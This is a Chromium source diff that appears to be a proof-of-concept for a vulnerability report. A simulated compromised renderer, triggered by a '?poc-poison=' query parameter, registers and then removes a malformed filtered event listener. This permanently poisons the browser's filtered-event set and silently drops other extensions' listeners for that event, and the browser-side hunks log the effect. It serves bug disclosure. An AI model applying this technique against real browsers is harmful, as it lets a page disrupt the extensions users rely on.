diff --git a/extensions/browser/event_listener_map.cc b/extensions/browser/event_listener_map.cc
index 5724ed54c455d..d5922c0b39631 100644
--- a/extensions/browser/event_listener_map.cc
+++ b/extensions/browser/event_listener_map.cc
@@ -168,6 +168,13 @@ bool EventListenerMap::AddListener(std::unique_ptr<EventListener> listener) {
     listener->set_matcher_id(id);
     listeners_by_matcher_id_[id] = listener.get();
     filtered_events_.insert(listener->event_name());
+    // POC instrumentation (browser process): show that filtered_events_
+    // is unconditionally poisoned even when AddEventMatcher rejected the
+    // filter and returned -1.
+    LOG(ERROR) << "[POC-BROWSER] AddListener: filtered_events_.insert(\""
+               << listener->event_name() << "\"); matcher_id=" << id
+               << (id == -1 ? "  <-- FILTER REJECTED, POISON IS PERMANENT"
+                            : "");
   }
   EventListener* listener_ptr = listener.get();
   listeners_[listener->event_name()].push_back(std::move(listener));
@@ -365,7 +372,8 @@ void EventListenerMap::LoadFilteredLazyListeners(
 std::set<const EventListener*> EventListenerMap::GetEventListeners(
     const Event& event) {
   std::set<const EventListener*> interested_listeners;
-  if (IsFilteredEvent(event)) {
+  const bool filtered = IsFilteredEvent(event);
+  if (filtered) {
     // Look up the interested listeners via the EventFilter.
     std::set<MatcherID> ids = event_filter_.MatchEvent(
         event.event_name, *event.filter_info, IPC::mojom::kRoutingIdNone);
@@ -381,6 +389,21 @@ std::set<const EventListener*> EventListenerMap::GetEventListeners(
     }
   }
 
+  // POC instrumentation (browser process): for the targeted event, log
+  // how many listeners actually exist vs. how many will be dispatched to.
+  // When poisoned: filtered=true, raw_listeners>0, returned=0.
+  auto raw_it = listeners_.find(event.event_name);
+  size_t raw = (raw_it == listeners_.end()) ? 0 : raw_it->second.size();
+  if (raw > 0 || filtered) {
+    LOG(ERROR) << "[POC-BROWSER] GetEventListeners(\"" << event.event_name
+               << "\") IsFilteredEvent=" << (filtered ? "true" : "false")
+               << " raw_listeners=" << raw
+               << " returned=" << interested_listeners.size()
+               << ((filtered && raw > 0 && interested_listeners.empty())
+                       ? "  <-- BLACKHOLED: victim listeners silently dropped"
+                       : "");
+  }
+
   return interested_listeners;
 }
 
@@ -459,6 +482,12 @@ void EventListenerMap::RemoveListenersForExtensionImpl(
 void EventListenerMap::CleanupListener(EventListener* listener) {
   // If the listener doesn't have a filter then we have nothing to clean up.
   if (listener->matcher_id() == -1) {
+    if (filtered_events_.contains(listener->event_name())) {
+      LOG(ERROR) << "[POC-BROWSER] CleanupListener(\"" << listener->event_name()
+                 << "\") matcher_id==-1 -> early return; "
+                    "filtered_events_ STILL contains this event "
+                    "(permanent poison)";
+    }
     return;
   }
   // If we're removing the final listener for an event, we can remove the
diff --git a/extensions/renderer/extension_frame_helper.cc b/extensions/renderer/extension_frame_helper.cc
index 1ab0e8afc84b8..6fec2ac87a822 100644
--- a/extensions/renderer/extension_frame_helper.cc
+++ b/extensions/renderer/extension_frame_helper.cc
@@ -286,6 +286,55 @@ void ExtensionFrameHelper::DidCreateDocumentElement() {
   did_create_current_document_element_ = true;
   extension_dispatcher_->DidCreateDocumentElement(
       render_frame()->GetWebFrame());
+
+  // ===================================================================
+  // POC INJECTION: simulated compromised renderer.
+  // When a web page is loaded with ?poc-poison=<event_name>, this frame
+  // (acting as a compromised renderer) sends a malicious
+  // AddFilteredListenerForMainThread to the browser-process EventRouter
+  // over the channel-associated extensions.mojom.EventRouter interface.
+  // This interface is registered for *every* RenderFrameHost regardless
+  // of whether the frame hosts extension content.
+  // ===================================================================
+  GURL url(render_frame()->GetWebFrame()->GetDocument().Url());
+  std::string query(url.query());
+  const std::string kKey = "poc-poison=";
+  auto pos = query.find(kKey);
+  if (pos != std::string::npos) {
+    std::string event_name = query.substr(pos + kKey.size());
+    auto amp = event_name.find('&');
+    if (amp != std::string::npos)
+      event_name = event_name.substr(0, amp);
+    LOG(ERROR) << "[POC-RENDERER] compromised renderer at " << url
+               << " sending AddFilteredListenerForMainThread("
+               << event_name
+               << ", filter={url:[{bogus:\"x\"}]}) to browser process";
+
+    // Malformed URL filter: {"url":[{"bogus":"x"}]}.
+    // URLMatcherFactory rejects unknown key "bogus" -> AddEventMatcher
+    // returns -1 -> filtered_events_.insert(event_name) still happened
+    // but matcher_id stays -1, so CleanupListener can never erase it.
+    base::DictValue filter =
+        base::DictValue().Set("url", base::ListValue().Append(
+                                         base::DictValue().Set("bogus", "x")));
+
+    GetEventRouter()->AddFilteredListenerForMainThread(
+        mojom::EventListenerOwner::NewListenerUrl(
+            GURL("http://attacker.example/")),
+        event_name, filter.Clone(),
+        /*add_lazy_listener=*/false);
+
+    // Remove the listener again so the attacker leaves no listener of
+    // its own behind. CleanupListener early-returns at matcher_id()==-1
+    // so filtered_events_ stays poisoned forever.
+    GetEventRouter()->RemoveFilteredListenerForMainThread(
+        mojom::EventListenerOwner::NewListenerUrl(
+            GURL("http://attacker.example/")),
+        event_name, filter.Clone(),
+        /*remove_lazy_listener=*/false);
+
+    LOG(ERROR) << "[POC-RENDERER] poison + remove sent for " << event_name;
+  }
 }
 
 void ExtensionFrameHelper::DidCreateNewDocument() {